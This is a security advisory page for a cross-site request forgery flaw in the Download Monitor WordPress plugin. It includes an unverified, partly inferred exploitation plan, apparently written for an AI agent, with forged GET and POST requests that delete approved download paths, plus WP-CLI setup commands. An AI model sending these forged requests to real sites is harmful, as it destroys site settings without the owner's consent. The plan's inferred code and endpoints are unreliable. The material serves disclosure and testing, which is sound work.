CVE-2026-4401

Download Monitor <= 5.1.10 - Cross-Site Request Forgery to Download Path Deletion and Disabling

mediumCross-Site Request Forgery (CSRF)
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
5.1.11
Patched in
1d
Time to patch

Description

The Download Monitor plugin for WordPress is vulnerable to Cross-Site Request Forgery in the `actions_handler()` and `bulk_actions_handler()` methods in `class-dlm-downloads-path.php` in all versions up to, and including, 5.1.10. This is due to missing nonce verification on these functions. This makes it possible for unauthenticated attackers to delete, disable, or enable approved download paths via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
Low
Availability

Technical Details

Affected versions<=5.1.10
PublishedApril 7, 2026
Last updatedApril 7, 2026
Affected plugindownload-monitor

What Changed in the Fix

Changes introduced in v5.1.11

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets CVE-2026-4401 in the Download Monitor plugin. The vulnerability allows an unauthenticated attacker to delete or disable "Approved Download Paths" by tricking a site administrator into visiting a malicious link (CSRF), due to missing nonce verification in the a…

Show full research plan

This exploitation research plan targets CVE-2026-4401 in the Download Monitor plugin. The vulnerability allows an unauthenticated attacker to delete or disable "Approved Download Paths" by tricking a site administrator into visiting a malicious link (CSRF), due to missing nonce verification in the administrative handlers.

1. Vulnerability Summary

  • ID: CVE-2026-4401
  • Vulnerability Type: Cross-Site Request Forgery (CSRF)
  • Location: includes/admin/class-dlm-downloads-path.php (inferred path based on class name)
  • Vulnerable Methods: actions_handler() and bulk_actions_handler() in the DLM_Downloads_Path class.
  • Cause: These methods process sensitive administrative actions (enabling, disabling, or deleting download paths) without calling check_admin_referer() or wp_verify_nonce(). Approved paths are a security feature in Download Monitor used to restrict file downloads to specific directories. Deleting or disabling them can disrupt the site's download functionality.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/edit.php?post_type=dlm_download&page=dlm_download_paths (inferred based on plugin architecture for custom admin pages).
  • Vulnerable Parameters:
    • action: The action to perform (e.g., delete, disable, enable).
    • id: The ID of the specific approved path to modify.
  • Authentication: Requires a victim with manage_options or similar administrative capabilities for the plugin to be logged in.
  • Preconditions: At least one "Approved Download Path" must exist.

3. Code Flow (Inferred)

  1. Entry Point: The DLM_Downloads_Path class is instantiated during admin initialization.
  2. Hook Registration: The actions_handler() method is likely hooked to admin_init or called within the display() logic of a WP_List_Table subclass.
  3. Missing Check:
    // includes/admin/class-dlm-downloads-path.php (Conceptual/Inferred)
    public function actions_handler() {
        if ( ! isset( $_GET['action'] ) || ! isset( $_GET['id'] ) ) {
            return;
        }
        // VULNERABILITY: No check_admin_referer() call here.
        $action = $_GET['action'];
        $path_id = intval( $_GET['id'] );
    
        if ( 'delete' === $action ) {
            $this->delete_path( $path_id );
        } elseif ( 'disable' === $action ) {
            $this->disable_path( $path_id );
        }
    }
    
  4. Sink: The delete_path or update methods interact with the database (likely the {$wpdb->prefix}dlm_download_paths table) to remove or modify the record.

4. Nonce Acquisition Strategy

This vulnerability is characterized by the absence of a nonce check. Therefore, no nonce is required to exploit the actions_handler() or bulk_actions_handler(). The attack succeeds as long as the request is made by a logged-in administrator.

5. Exploitation Strategy

The goal is to demonstrate that an authenticated admin session can be leveraged to delete an approved path without a valid nonce.

Step 1: Identify/Create a Path
First, we must ensure an approved path exists to delete. We can create one via WP-CLI or by navigating the UI.

Step 2: Construct the CSRF Request
The exploit will use a GET request, as administrative handlers in WP List Tables often process $_GET parameters for individual actions.

  • Action: delete
  • URL: https://TARGET/wp-admin/edit.php?post_type=dlm_download&page=dlm_download_paths&action=delete&id=[PATH_ID]

Step 3: Execute Exploit via Agent
The agent will use http_request with the admin's cookies to simulate the CSRF.

// PoC Request Structure
await http_request({
    method: "GET",
    url: "http://localhost:8080/wp-admin/edit.php?post_type=dlm_download&page=dlm_download_paths&action=delete&id=1",
    headers: {
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
    }
});

6. Test Data Setup

  1. Plugin Installation: Ensure Download Monitor <= 5.1.10 is installed and active.
  2. Create Approved Path: Use WP-CLI to insert a path into the database directly, as the UI might require nonces for the creation step (which is not part of this CVE).
    # Example SQL to create a path (adjust table prefix as needed)
    wp db query "INSERT INTO wp_dlm_download_paths (path, status) VALUES ('/tmp/', 'enabled');"
    
  3. Identify ID: Get the ID of the newly created path.
    wp db query "SELECT id FROM wp_dlm_download_paths WHERE path='/tmp/';"
    

7. Expected Results

  • The HTTP request should return a 302 Redirect or a 200 OK (if the page reloads).
  • The response should not contain a "Are you sure you want to do this?" (WordPress's default "fail2" nonce error) or a "Security check failed" message.
  • The targeted approved path should be removed from the database.

8. Verification Steps

  1. Database Check: Verify the record is gone.
    wp db query "SELECT count(*) FROM wp_dlm_download_paths WHERE path='/tmp/';"
    # Expected: 0
    
  2. Admin UI Check: Navigate to the Approved Paths page to see if the table is empty.
    await browser_navigate("http://localhost:8080/wp-admin/edit.php?post_type=dlm_download&page=dlm_download_paths");
    // Verify path '/tmp/' is not visible in the DOM.
    

9. Alternative Approaches

If GET is not processed by the handler, the bulk_actions_handler() might require a POST request.

Alternative POST Exploit:

  • URL: http://localhost:8080/wp-admin/edit.php?post_type=dlm_download&page=dlm_download_paths
  • Body: action=bulk_delete&path_id[]=1&path_id[]=2
  • Content-Type: application/x-www-form-urlencoded

If the page slug dlm_download_paths is incorrect, the agent should search the menu:
browser_eval("document.querySelector('a[href*=\"page=dlm\"]').href") to find the correct administrative page slug for download paths.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.